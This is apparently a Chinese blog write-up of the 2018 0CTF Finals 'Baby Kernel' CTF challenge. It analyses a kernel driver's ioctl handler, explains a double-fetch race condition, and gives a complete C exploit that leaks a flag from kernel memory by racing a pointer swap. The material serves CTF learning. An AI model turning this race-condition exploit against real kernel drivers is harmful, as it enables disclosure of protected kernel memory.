linux_kernal_pwn 2018 0CTF Finals Baby Kernel

本文探讨了一种在多线程环境下发现的doublefetch漏洞,涉及内核驱动的条件竞争。通过利用ioctl函数,攻击者可以修改用户态数据并触发驱动中的flag比较,实现内核级flag泄露。作者给出了利用示例和关键代码片段,展示了如何构造恶意线程引发的竞争条件。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

在这里插入图片描述看看保护,似乎没啥保护。
其实看到它不是单核单线程,猜测可能会有条件竞争。

挂载文件时baby.ko
来看程序

__int64 __fastcall sub_25(__int64 a1, int a2, __int64 a3)
{
  __int64 result; // rax
  int i; // [rsp+1Ch] [rbp-54h]

  if ( a2 == 26214 )
  {
    printk("Your flag is at %px! But I don't think you know it's content\n", flag);
    result = 0LL;
  }
  else if ( a2 == 4919
         && (unsigned __int8)_chk_range_not_ok(a3, 16LL, *(_QWORD *)(__readgsqword((unsigned int)&current_task) + 4952)) != 1
         && (unsigned __int8)_chk_range_not_ok(
                               *(_QWORD *)a3,
                               *(int *)(a3 + 8),
                               *(_QWORD *)(__readgsqword((unsigned int)&current_task) + 4952)) != 1
         && *(_DWORD *)(a3 + 8) == strlen(flag) )
  {
    for ( i = 0; i < strlen(flag); ++i )
    {
      if ( *(_BYTE *)(*(_QWORD *)a3 + i) != flag[i] )
        return 22LL;
    }
    printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
    result = 0LL;
  }
  else
  {
    result = 14LL;
  }
  return result;
}

当 ioctl 中 cmd 参数为 0x6666 时,驱动将输出 flag 的加载地址。当 ioctl 中 cmd 参数为 0x1337 时,首先进行三个校验,接着对用户输入的内容与硬编码的 flag 进行逐字节比较,当一致时通过 printk 将 flag 输出出来。

分析其检查函数,其中 _chk_range_not_ok 为检查指针及长度范围是否指向用户空间
其检查内容为:

输入的数据指针是否为用户态数据。
数据指针内 flag_str 是否指向用户态。
据指针内 flag_len 是否等于硬编码 flag 的长度。

那么我们发现会有一个double fetch漏洞。
什么是个double fetch,我们用了张wiki的图
在这里插入图片描述

一个用户态线程准备数据并通过系统调用进入内核,该数据在内核中有两次被取用,内核第一次取用数据进行安全检查(如缓冲区大小、指针可用性等),当检查通过后内核第二次取用数据进行实际处理。而在两次取用数据之间,另一个用户态线程可创造条件竞争,对已通过检查的用户态数据进行篡改,在真实使用时造成访问越界或缓冲区溢出,最终导致内核崩溃或权限提升。

那么首先我们刚开始说并不是单核单线程,这就为我们的double fetch有了条件。
然后我们这道题的思路是说两个功能,首先我们用功能1把flag的地址输出一下,内核中以 printk 输出的内容,可以通过 dmesg 命令查看。
再然后,构造符合 cmd=0x1337 功能的数据结构。
最后,创建一个恶意线程,不断的将 flag_str 所指向的用户态地址修改为 flag 的内核地址以制造竞争条件,从而使其通过驱动中的逐字节比较检查,输出 flag 内容。

exp

#include <string.h>
char *strstr(const char *haystack, const char *needle);
#define _GNU_SOURCE         /* See feature_test_macros(7) */
#include <string.h>
char *strcasestr(const char *haystack, const char *needle);
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <pthread.h>

#define TRYTIME 0x1000
#define LEN 0x1000

struct attr
{
    char *flag;
    size_t len;
};
unsigned long long addr;
int finish =0;
char buf[LEN+1]={0};
void change_attr_value(void *s){
    struct attr * s1 = s; 
    while(finish==0){
    s1->flag = addr;
    }
}

int main(void)
{
 

    int addr_fd;
    char *idx;

    int fd = open("/dev/baby",0);
    int ret = ioctl(fd,0x6666);    
    pthread_t t1;
    struct attr t;

    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);   

    system("dmesg > /tmp/record.txt");
    addr_fd = open("/tmp/record.txt",O_RDONLY);
    lseek(addr_fd,-LEN,SEEK_END);
    read(addr_fd,buf,LEN);
    close(addr_fd);
    idx = strstr(buf,"Your flag is at ");
    if (idx == 0){
        printf("[-]Not found addr");
        exit(-1);
    }
    else{
        idx+=16;
        addr = strtoull(idx,idx+16,16);
        printf("[+]flag addr: %p\n",addr);
    }

    t.len = 33;
    t.flag = buf;
    //新建恶意线程
    pthread_create(&t1, NULL, change_attr_value,&t);
    for(int i=0;i<TRYTIME;i++){
        ret = ioctl(fd, 0x1337, &t);
        t.flag = buf;
    }
    finish = 1;
    pthread_join(t1, NULL);
    close(fd);
    puts("[+]result is :");
    system("dmesg | grep flag");
    return 0;
}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值